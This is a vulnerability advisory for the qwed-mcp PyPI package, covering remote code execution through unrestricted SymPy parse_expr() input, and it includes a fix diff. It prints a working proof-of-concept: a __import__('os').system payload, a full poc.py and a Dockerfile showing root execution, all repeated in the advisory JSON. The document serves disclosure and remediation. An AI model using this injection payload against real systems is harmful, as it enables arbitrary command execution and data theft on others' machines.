GHSA-MW6R-2HVM-4RP2
Vulnerability from github – Published: 2026-08-25 15:26 – Updated: 2026-08-25 15:26Summary
verify_math_expression() in qwed-mcp v0.2.0 passes attacker-controlled strings directly to SymPy's parse_expr() without restricting global_dict or validating the expression's AST. Because parse_expr() internally calls eval() and Python automatically injects the current module's __builtins__ when no explicit restriction is set, an attacker can embed arbitrary Python expressions — including __import__('os').system(...) — to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.
Details
The vulnerability resides in src/qwed_mcp/engines/math_engine.py. The public function verify_math_expression(expression, claimed_result, operation) accepts both the expression and claimed_result arguments as raw strings and passes them — after a trivial ^ → ** substitution — to sympy.parsing.sympy_parser.parse_expr():
# math_engine.py:50-54
expr = parse_expr(
expression.replace("^", "**"),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
transformations=transformations
)
# math_engine.py:64-68
claimed = parse_expr(
claimed_result.replace("^", "**"),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
transformations=transformations
)
local_dict only adds math symbols to the evaluation namespace; it does not remove __builtins__. SymPy's parse_expr() eventually calls Python's built-in eval(), which — absent an explicit {"__builtins__": {}} in global_dict — receives the full built-in namespace. This makes __import__, open, exec, and every other Python built-in available to the evaluated expression.
There is no allowlist, AST pre-validation, or sandboxing applied at any point before the parse_expr() calls (lines 50 and 64).
Data flow:
- Source —
math_engine.py:13-16: external caller suppliesexpressionandclaimed_result. - Propagation —
math_engine.py:50-54:expressionsubstituted and forwarded toparse_expr(). - Propagation —
math_engine.py:64-68:claimed_resultsubstituted and forwarded toparse_expr(). - Sink —
sympy.parsing.sympy_parser.parse_expr(): callseval()with unrestricted__builtins__.
PoC
Environment setup
# Clone the repository at the affected commit
git clone https://github.com/QWED-AI/qwed-mcp
cd qwed-mcp
git checkout 54ac682699407310b5a71fbaed8c33f581b84301
# Option A — direct Python
python3 -m venv /tmp/qwed-mcp-venv
source /tmp/qwed-mcp-venv/bin/activate
pip install sympy>=1.12
# Option B — Docker (used for Phase 2 verification)
docker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp
docker run --rm vuln001-rce
Exploit input
import importlib.util, sys, os
spec = importlib.util.spec_from_file_location(
"qwed_mcp.engines.math_engine",
"src/qwed_mcp/engines/math_engine.py"
)
mod = importlib.util.module_from_spec(spec)
sys.modules["qwed_mcp.engines.math_engine"] = mod
spec.loader.exec_module(mod)
verify_math_expression = mod.verify_math_expression
payload = "__import__('os').system('id > /tmp/vuln001_rce_output.txt && hostname >> /tmp/vuln001_rce_output.txt && touch /tmp/vuln001_rce_marker')"
verify_math_expression(payload, "0")
print("marker_exists:", os.path.exists("/tmp/vuln001_rce_marker"))
with open("/tmp/vuln001_rce_output.txt") as f:
print(f.read())
Expected output (Phase 2 Docker observation)
[+] *** EXPLOIT SUCCESSFUL ***
[+] Marker file present : /tmp/vuln001_rce_marker
[+] RCE command output :
--- BEGIN OUTPUT ---
uid=0(root) gid=0(root) groups=0(root)
2d2fe45d37b6
--- END OUTPUT ---
[RESULT] PASS — deterministic RCE evidence observed inside container
The marker file /tmp/vuln001_rce_marker is created and id output confirms execution as root with no patches, flags, or privileged configuration required.
Remediation
Apply AST allowlisting and restrict global_dict before every parse_expr() call:
--- a/src/qwed_mcp/engines/math_engine.py
+++ b/src/qwed_mcp/engines/math_engine.py
import logging
+import ast
from typing import Optional
+ALLOWED_NAMES = {"x", "y", "z", "pi", "e"}
+ALLOWED_FUNCS = {"sqrt", "sin", "cos", "exp", "log"}
+ALLOWED_AST = (
+ ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,
+ ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,
+ ast.USub, ast.UAdd,
+)
+
+def _validate_math_syntax(expr: str) -> None:
+ tree = ast.parse(expr.replace("^", "**"), mode="eval")
+ for node in ast.walk(tree):
+ if not isinstance(node, ALLOWED_AST):
+ raise ValueError(f"Unsupported syntax: {type(node).__name__}")
+ if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:
+ raise ValueError(f"Unsupported symbol: {node.id}")
+ if isinstance(node, ast.Call):
+ if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:
+ raise ValueError("Only approved math functions are allowed")
+ if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):
+ raise ValueError("Only numeric constants are allowed")
+
+safe_globals = {"__builtins__": {}}
+
- expr = parse_expr(
+ _validate_math_syntax(expression)
+ expr = parse_expr(
expression.replace("^", "**"),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+ global_dict=safe_globals,
transformations=transformations
)
- claimed = parse_expr(
+ _validate_math_syntax(claimed_result)
+ claimed = parse_expr(
claimed_result.replace("^", "**"),
local_dict={"x": x, "y": y, "z": z, "pi": pi, "e": E},
+ global_dict=safe_globals,
transformations=transformations
)
Impact
Any caller that passes attacker-controlled input to verify_math_expression() or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:
- Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2).
- Read, write, or delete files accessible to the process.
- Exfiltrate secrets (API keys, environment variables, credentials) from the process environment.
- Pivot to internal services reachable from the host.
The function is part of the public PyPI package qwed-mcp. Any downstream library consumer or service that wraps verify_math_expression() with user-supplied input is affected without additional configuration. While v0.2.0's default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.
Reproduction artifacts
Dockerfile
FROM python:3.12-slim
LABEL vuln="VULN-001" \
title="Unsafe SymPy parse_expr() RCE" \
cwe="CWE-94" \
target="QWED-AI/qwed-mcp@0.2.0"
WORKDIR /app
# Copy only the package source tree from the cloned repo.
# math_engine.py only imports sympy at runtime; full project deps
# (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.
COPY repo/src /app/src
# Install the single runtime dependency used by the vulnerable module.
RUN pip install --no-cache-dir "sympy>=1.12"
# Copy the proof-of-concept script.
COPY vuln-001/poc.py /app/poc.py
# Make qwed_mcp importable via the local source tree.
ENV PYTHONPATH=/app/src
CMD ["python3", "/app/poc.py"]
poc.py
"""
VULN-001 Proof of Concept
=========================
Target : QWED-AI/qwed-mcp v0.2.0
Module : src/qwed_mcp/engines/math_engine.py
Function: verify_math_expression(expression, claimed_result, operation)
Root cause
----------
verify_math_expression() passes attacker-controlled strings directly to
sympy.parsing.sympy_parser.parse_expr() without restricting global_dict.
parse_expr() ultimately calls eval() with SymPy's namespace as globals.
Because that namespace does not set __builtins__ to {}, Python injects the
current module's builtins automatically, making __import__ available.
Attack
------
Inject a Python expression as the 'expression' or 'claimed_result' argument:
__import__('os').system('<shell command>')
The system() call executes before parse_expr() tries to interpret the return
value as a SymPy expression.
Expected evidence of exploitation
----------------------------------
1. /tmp/vuln001_rce_marker is created inside the container.
2. /tmp/vuln001_rce_output.txt contains the output of `id` and `hostname`.
3. The script exits 0; any other exit code means exploitation failed.
"""
import os
import sys
MARKER_FILE = "/tmp/vuln001_rce_marker"
OUTPUT_FILE = "/tmp/vuln001_rce_output.txt"
def run_poc() -> bool:
"""Run the PoC; return True on confirmed exploitation, False otherwise."""
print("=" * 60)
print("VULN-001 — Unsafe SymPy parse_expr() RCE — PoC")
print("=" * 60)
# --- Step 1: import the vulnerable function ---
# qwed_mcp/__init__.py pulls in the full MCP server stack (mcp, httpx, etc.).
# We load math_engine.py directly via importlib to exercise the vulnerable
# module in isolation, exactly as an attacker who calls the library API would.
print("[*] Importing vulnerable function via importlib (direct module load) ...")
import importlib.util
import sys as _sys
_module_path = "/app/src/qwed_mcp/engines/math_engine.py"
try:
_spec = importlib.util.spec_from_file_location(
"qwed_mcp.engines.math_engine", _module_path
)
_mod = importlib.util.module_from_spec(_spec)
_sys.modules["qwed_mcp.engines.math_engine"] = _mod
_spec.loader.exec_module(_mod)
verify_math_expression = _mod.verify_math_expression
except Exception as exc:
print(f"[-] Import failed: {exc}")
return False
print(f"[+] verify_math_expression loaded from {_module_path}")
# --- Step 2: craft the RCE payload ---
# The payload is injected as the `expression` argument.
# Shell commands:
# id — prints current user/uid/gid (confirms arbitrary execution)
# hostname — prints container hostname (confirms in-container execution)
# touch — creates a marker file (machine-checkable evidence)
shell_cmd = (
f"id > {OUTPUT_FILE} && "
f"hostname >> {OUTPUT_FILE} && "
f"touch {MARKER_FILE}"
)
payload = f"__import__('os').system('{shell_cmd}')"
print(f"\n[*] Injection payload (expression argument):\n {payload}\n")
# --- Step 3: call the vulnerable function ---
print("[*] Calling verify_math_expression(payload, '0') ...")
result = verify_math_expression(payload, "0")
print(f"[*] Return value: {result}\n")
# --- Step 4: verify exploitation evidence ---
marker_exists = os.path.exists(MARKER_FILE)
output_exists = os.path.exists(OUTPUT_FILE)
if marker_exists and output_exists:
with open(OUTPUT_FILE) as fh:
rce_output = fh.read().strip()
print("[+] *** EXPLOIT SUCCESSFUL ***")
print(f"[+] Marker file present : {MARKER_FILE}")
print(f"[+] RCE command output :\n--- BEGIN OUTPUT ---\n{rce_output}\n--- END OUTPUT ---")
return True
# Partial evidence (marker only, no output, or vice-versa) still counts.
if marker_exists:
print("[+] *** EXPLOIT SUCCESSFUL (marker only) ***")
print(f"[+] Marker file present : {MARKER_FILE}")
return True
print("[-] EXPLOIT FAILED — marker file not found")
print(f"[-] Expected: {MARKER_FILE}")
return False
def main() -> None:
success = run_poc()
if success:
print("\n[RESULT] PASS — deterministic RCE evidence observed inside container")
sys.exit(0)
else:
print("\n[RESULT] FAIL — could not confirm arbitrary code execution")
sys.exit(1)
if __name__ == "__main__":
main()
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "qwed-mcp"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.2.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55546"
],
"database_specific": {
"cwe_ids": [
"CWE-94"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-25T15:26:43Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "### Summary\n\n`verify_math_expression()` in `qwed-mcp` v0.2.0 passes attacker-controlled strings directly to SymPy\u0027s `parse_expr()` without restricting `global_dict` or validating the expression\u0027s AST. Because `parse_expr()` internally calls `eval()` and Python automatically injects the current module\u0027s `__builtins__` when no explicit restriction is set, an attacker can embed arbitrary Python expressions \u2014 including `__import__(\u0027os\u0027).system(...)` \u2014 to execute OS commands in the context of the running process. Confirmed exploitation in a Docker container yields root-level arbitrary command execution with no authentication or special configuration required.\n\n### Details\n\nThe vulnerability resides in `src/qwed_mcp/engines/math_engine.py`. The public function `verify_math_expression(expression, claimed_result, operation)` accepts both the `expression` and `claimed_result` arguments as raw strings and passes them \u2014 after a trivial `^` \u2192 `**` substitution \u2014 to `sympy.parsing.sympy_parser.parse_expr()`:\n\n```python\n# math_engine.py:50-54\nexpr = parse_expr(\n expression.replace(\"^\", \"**\"),\n local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n transformations=transformations\n)\n```\n\n```python\n# math_engine.py:64-68\nclaimed = parse_expr(\n claimed_result.replace(\"^\", \"**\"),\n local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n transformations=transformations\n)\n```\n\n`local_dict` only adds math symbols to the evaluation namespace; it does **not** remove `__builtins__`. SymPy\u0027s `parse_expr()` eventually calls Python\u0027s built-in `eval()`, which \u2014 absent an explicit `{\"__builtins__\": {}}` in `global_dict` \u2014 receives the full built-in namespace. This makes `__import__`, `open`, `exec`, and every other Python built-in available to the evaluated expression.\n\nThere is no allowlist, AST pre-validation, or sandboxing applied at any point before the `parse_expr()` calls (lines 50 and 64).\n\nData flow:\n\n1. **Source** \u2014 `math_engine.py:13-16`: external caller supplies `expression` and `claimed_result`.\n2. **Propagation** \u2014 `math_engine.py:50-54`: `expression` substituted and forwarded to `parse_expr()`.\n3. **Propagation** \u2014 `math_engine.py:64-68`: `claimed_result` substituted and forwarded to `parse_expr()`.\n4. **Sink** \u2014 `sympy.parsing.sympy_parser.parse_expr()`: calls `eval()` with unrestricted `__builtins__`.\n\n### PoC\n\n**Environment setup**\n\n```bash\n# Clone the repository at the affected commit\ngit clone https://github.com/QWED-AI/qwed-mcp\ncd qwed-mcp\ngit checkout 54ac682699407310b5a71fbaed8c33f581b84301\n\n# Option A \u2014 direct Python\npython3 -m venv /tmp/qwed-mcp-venv\nsource /tmp/qwed-mcp-venv/bin/activate\npip install sympy\u003e=1.12\n\n# Option B \u2014 Docker (used for Phase 2 verification)\ndocker build -t vuln001-rce -f vuln-001/Dockerfile reports/pypiAi_1775_QWED-AI__qwed-mcp\ndocker run --rm vuln001-rce\n```\n\n**Exploit input**\n\n```python\nimport importlib.util, sys, os\n\nspec = importlib.util.spec_from_file_location(\n \"qwed_mcp.engines.math_engine\",\n \"src/qwed_mcp/engines/math_engine.py\"\n)\nmod = importlib.util.module_from_spec(spec)\nsys.modules[\"qwed_mcp.engines.math_engine\"] = mod\nspec.loader.exec_module(mod)\nverify_math_expression = mod.verify_math_expression\n\npayload = \"__import__(\u0027os\u0027).system(\u0027id \u003e /tmp/vuln001_rce_output.txt \u0026\u0026 hostname \u003e\u003e /tmp/vuln001_rce_output.txt \u0026\u0026 touch /tmp/vuln001_rce_marker\u0027)\"\nverify_math_expression(payload, \"0\")\n\nprint(\"marker_exists:\", os.path.exists(\"/tmp/vuln001_rce_marker\"))\nwith open(\"/tmp/vuln001_rce_output.txt\") as f:\n print(f.read())\n```\n\n**Expected output (Phase 2 Docker observation)**\n\n```\n[+] *** EXPLOIT SUCCESSFUL ***\n[+] Marker file present : /tmp/vuln001_rce_marker\n[+] RCE command output :\n--- BEGIN OUTPUT ---\nuid=0(root) gid=0(root) groups=0(root)\n2d2fe45d37b6\n--- END OUTPUT ---\n\n[RESULT] PASS \u2014 deterministic RCE evidence observed inside container\n```\n\nThe marker file `/tmp/vuln001_rce_marker` is created and `id` output confirms execution as root with no patches, flags, or privileged configuration required.\n\n**Remediation**\n\nApply AST allowlisting and restrict `global_dict` before every `parse_expr()` call:\n\n```diff\n--- a/src/qwed_mcp/engines/math_engine.py\n+++ b/src/qwed_mcp/engines/math_engine.py\n import logging\n+import ast\n from typing import Optional\n\n+ALLOWED_NAMES = {\"x\", \"y\", \"z\", \"pi\", \"e\"}\n+ALLOWED_FUNCS = {\"sqrt\", \"sin\", \"cos\", \"exp\", \"log\"}\n+ALLOWED_AST = (\n+ ast.Expression, ast.BinOp, ast.UnaryOp, ast.Call, ast.Name, ast.Load,\n+ ast.Constant, ast.Add, ast.Sub, ast.Mult, ast.Div, ast.Pow, ast.Mod,\n+ ast.USub, ast.UAdd,\n+)\n+\n+def _validate_math_syntax(expr: str) -\u003e None:\n+ tree = ast.parse(expr.replace(\"^\", \"**\"), mode=\"eval\")\n+ for node in ast.walk(tree):\n+ if not isinstance(node, ALLOWED_AST):\n+ raise ValueError(f\"Unsupported syntax: {type(node).__name__}\")\n+ if isinstance(node, ast.Name) and node.id not in ALLOWED_NAMES | ALLOWED_FUNCS:\n+ raise ValueError(f\"Unsupported symbol: {node.id}\")\n+ if isinstance(node, ast.Call):\n+ if not isinstance(node.func, ast.Name) or node.func.id not in ALLOWED_FUNCS:\n+ raise ValueError(\"Only approved math functions are allowed\")\n+ if isinstance(node, ast.Constant) and not isinstance(node.value, (int, float)):\n+ raise ValueError(\"Only numeric constants are allowed\")\n+\n+safe_globals = {\"__builtins__\": {}}\n+\n- expr = parse_expr(\n+ _validate_math_syntax(expression)\n+ expr = parse_expr(\n expression.replace(\"^\", \"**\"),\n local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n+ global_dict=safe_globals,\n transformations=transformations\n )\n- claimed = parse_expr(\n+ _validate_math_syntax(claimed_result)\n+ claimed = parse_expr(\n claimed_result.replace(\"^\", \"**\"),\n local_dict={\"x\": x, \"y\": y, \"z\": z, \"pi\": pi, \"e\": E},\n+ global_dict=safe_globals,\n transformations=transformations\n )\n```\n\n### Impact\n\nAny caller that passes attacker-controlled input to `verify_math_expression()` or any future MCP tool registration that exposes this function over a network interface is fully compromised. An attacker can:\n\n- Execute arbitrary OS commands as the process user (demonstrated as root in Phase 2).\n- Read, write, or delete files accessible to the process.\n- Exfiltrate secrets (API keys, environment variables, credentials) from the process environment.\n- Pivot to internal services reachable from the host.\n\nThe function is part of the public PyPI package `qwed-mcp`. Any downstream library consumer or service that wraps `verify_math_expression()` with user-supplied input is affected without additional configuration. While v0.2.0\u0027s default MCP tool registry does not expose this function as a registered tool, the library API is directly importable and exploitable by any code that calls it.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\nFROM python:3.12-slim\n\nLABEL vuln=\"VULN-001\" \\\n title=\"Unsafe SymPy parse_expr() RCE\" \\\n cwe=\"CWE-94\" \\\n target=\"QWED-AI/qwed-mcp@0.2.0\"\n\nWORKDIR /app\n\n# Copy only the package source tree from the cloned repo.\n# math_engine.py only imports sympy at runtime; full project deps\n# (qwed-finance, qwed-ucp, mcp, z3-solver, etc.) are NOT needed for this PoC.\nCOPY repo/src /app/src\n\n# Install the single runtime dependency used by the vulnerable module.\nRUN pip install --no-cache-dir \"sympy\u003e=1.12\"\n\n# Copy the proof-of-concept script.\nCOPY vuln-001/poc.py /app/poc.py\n\n# Make qwed_mcp importable via the local source tree.\nENV PYTHONPATH=/app/src\n\nCMD [\"python3\", \"/app/poc.py\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 Proof of Concept\n=========================\nTarget : QWED-AI/qwed-mcp v0.2.0\nModule : src/qwed_mcp/engines/math_engine.py\nFunction: verify_math_expression(expression, claimed_result, operation)\n\nRoot cause\n----------\nverify_math_expression() passes attacker-controlled strings directly to\nsympy.parsing.sympy_parser.parse_expr() without restricting global_dict.\nparse_expr() ultimately calls eval() with SymPy\u0027s namespace as globals.\nBecause that namespace does not set __builtins__ to {}, Python injects the\ncurrent module\u0027s builtins automatically, making __import__ available.\n\nAttack\n------\nInject a Python expression as the \u0027expression\u0027 or \u0027claimed_result\u0027 argument:\n __import__(\u0027os\u0027).system(\u0027\u003cshell command\u003e\u0027)\n\nThe system() call executes before parse_expr() tries to interpret the return\nvalue as a SymPy expression.\n\nExpected evidence of exploitation\n----------------------------------\n1. /tmp/vuln001_rce_marker is created inside the container.\n2. /tmp/vuln001_rce_output.txt contains the output of `id` and `hostname`.\n3. The script exits 0; any other exit code means exploitation failed.\n\"\"\"\n\nimport os\nimport sys\n\n\nMARKER_FILE = \"/tmp/vuln001_rce_marker\"\nOUTPUT_FILE = \"/tmp/vuln001_rce_output.txt\"\n\n\ndef run_poc() -\u003e bool:\n \"\"\"Run the PoC; return True on confirmed exploitation, False otherwise.\"\"\"\n print(\"=\" * 60)\n print(\"VULN-001 \u2014 Unsafe SymPy parse_expr() RCE \u2014 PoC\")\n print(\"=\" * 60)\n\n # --- Step 1: import the vulnerable function ---\n # qwed_mcp/__init__.py pulls in the full MCP server stack (mcp, httpx, etc.).\n # We load math_engine.py directly via importlib to exercise the vulnerable\n # module in isolation, exactly as an attacker who calls the library API would.\n print(\"[*] Importing vulnerable function via importlib (direct module load) ...\")\n import importlib.util\n import sys as _sys\n\n _module_path = \"/app/src/qwed_mcp/engines/math_engine.py\"\n try:\n _spec = importlib.util.spec_from_file_location(\n \"qwed_mcp.engines.math_engine\", _module_path\n )\n _mod = importlib.util.module_from_spec(_spec)\n _sys.modules[\"qwed_mcp.engines.math_engine\"] = _mod\n _spec.loader.exec_module(_mod)\n verify_math_expression = _mod.verify_math_expression\n except Exception as exc:\n print(f\"[-] Import failed: {exc}\")\n return False\n print(f\"[+] verify_math_expression loaded from {_module_path}\")\n\n # --- Step 2: craft the RCE payload ---\n # The payload is injected as the `expression` argument.\n # Shell commands:\n # id \u2014 prints current user/uid/gid (confirms arbitrary execution)\n # hostname \u2014 prints container hostname (confirms in-container execution)\n # touch \u2014 creates a marker file (machine-checkable evidence)\n shell_cmd = (\n f\"id \u003e {OUTPUT_FILE} \u0026\u0026 \"\n f\"hostname \u003e\u003e {OUTPUT_FILE} \u0026\u0026 \"\n f\"touch {MARKER_FILE}\"\n )\n payload = f\"__import__(\u0027os\u0027).system(\u0027{shell_cmd}\u0027)\"\n print(f\"\\n[*] Injection payload (expression argument):\\n {payload}\\n\")\n\n # --- Step 3: call the vulnerable function ---\n print(\"[*] Calling verify_math_expression(payload, \u00270\u0027) ...\")\n result = verify_math_expression(payload, \"0\")\n print(f\"[*] Return value: {result}\\n\")\n\n # --- Step 4: verify exploitation evidence ---\n marker_exists = os.path.exists(MARKER_FILE)\n output_exists = os.path.exists(OUTPUT_FILE)\n\n if marker_exists and output_exists:\n with open(OUTPUT_FILE) as fh:\n rce_output = fh.read().strip()\n print(\"[+] *** EXPLOIT SUCCESSFUL ***\")\n print(f\"[+] Marker file present : {MARKER_FILE}\")\n print(f\"[+] RCE command output :\\n--- BEGIN OUTPUT ---\\n{rce_output}\\n--- END OUTPUT ---\")\n return True\n\n # Partial evidence (marker only, no output, or vice-versa) still counts.\n if marker_exists:\n print(\"[+] *** EXPLOIT SUCCESSFUL (marker only) ***\")\n print(f\"[+] Marker file present : {MARKER_FILE}\")\n return True\n\n print(\"[-] EXPLOIT FAILED \u2014 marker file not found\")\n print(f\"[-] Expected: {MARKER_FILE}\")\n return False\n\n\ndef main() -\u003e None:\n success = run_poc()\n if success:\n print(\"\\n[RESULT] PASS \u2014 deterministic RCE evidence observed inside container\")\n sys.exit(0)\n else:\n print(\"\\n[RESULT] FAIL \u2014 could not confirm arbitrary code execution\")\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-mw6r-2hvm-4rp2",
"modified": "2026-08-25T15:26:43Z",
"published": "2026-08-25T15:26:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/QWED-AI/qwed-mcp/security/advisories/GHSA-mw6r-2hvm-4rp2"
},
{
"type": "WEB",
"url": "https://github.com/QWED-AI/qwed-mcp/pull/22"
},
{
"type": "WEB",
"url": "https://github.com/QWED-AI/qwed-mcp/commit/362e61892052e250c56cb1ee852024d6f98c467b"
},
{
"type": "PACKAGE",
"url": "https://github.com/QWED-AI/qwed-mcp"
},
{
"type": "WEB",
"url": "https://github.com/QWED-AI/qwed-mcp/releases/tag/v0.2.1"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "qwed-mcp has Unsafe SymPy `parse_expr()` Remote Code Execution via Unsanitized Math Expression Input"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.